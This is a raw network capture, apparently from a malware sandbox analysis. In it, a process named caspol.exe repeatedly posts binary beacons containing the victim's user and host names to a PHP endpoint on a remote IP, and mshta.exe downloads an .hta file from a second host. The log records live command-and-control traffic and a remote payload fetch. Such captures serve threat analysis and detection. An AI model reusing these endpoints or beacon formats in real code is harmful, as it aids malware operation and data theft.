Nov 20, 2024 07:57:00.033211946 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:00.038068056 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:00.796703100 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:00 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49171	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:00.981055975 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:00.985980988 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:01.712006092 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:01 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49172	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:01.985131025 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:01.990103006 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:02.731832027 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:02 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49173	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:03.023063898 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:03.028263092 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:03.741231918 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:03 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49174	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:04.453051090 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:04.458084106 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:05.310630083 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:05 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49176	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:05.508730888 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:05.513581038 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:06.374385118 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:06 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49177	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:07.048321962 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:07.053236961 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:07.917478085 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:07 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49178	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:08.395258904 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:08.400151968 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:09.108309984 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:09 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49182	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:09.283468008 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:09.288352966 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:10.035382032 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:09 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49183	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:10.527065039 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:10.533828974 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:11.261435032 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:11 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49184	192.3.243.136	80	3424	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:10.540910959 CET	509	OUT	GET /xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) If-Modified-Since: Wed, 20 Nov 2024 01:22:20 GMT Connection: Keep-Alive Host: 192.3.243.136 If-None-Match: "2c850-6274dfb369376"
Nov 20, 2024 07:57:11.112638950 CET	275	IN	HTTP/1.1 304 Not Modified Date: Wed, 20 Nov 2024 06:57:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 20 Nov 2024 01:22:20 GMT ETag: "2c850-6274dfb369376" Accept-Ranges: bytes Keep-Alive: timeout=5, max=100 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49185	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:11.422688007 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:11.427592039 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:12.155327082 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:12 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49186	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:12.352430105 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:12.359101057 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:13.064924955 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:12 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49187	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:13.464530945 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:13.469417095 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:14.190033913 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:14 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49188	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:14.816301107 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:14.821225882 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:15.539246082 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:15 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49189	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:15.714570045 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:15.719444990 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:16.455482960 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:16 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49190	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:16.621402025 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:16.626398087 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:17.347266912 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:17 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49191	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:17.498769045 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:17.507138014 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:18.216984034 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:18 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49192	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:18.360862017 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:18.365734100 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:19.096231937 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:18 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49193	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:19.248756886 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:19.253732920 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:20.092386961 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:19 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49194	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:20.468795061 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:20.473746061 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:21.191966057 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:21 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49195	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:21.594352007 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:21.599286079 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
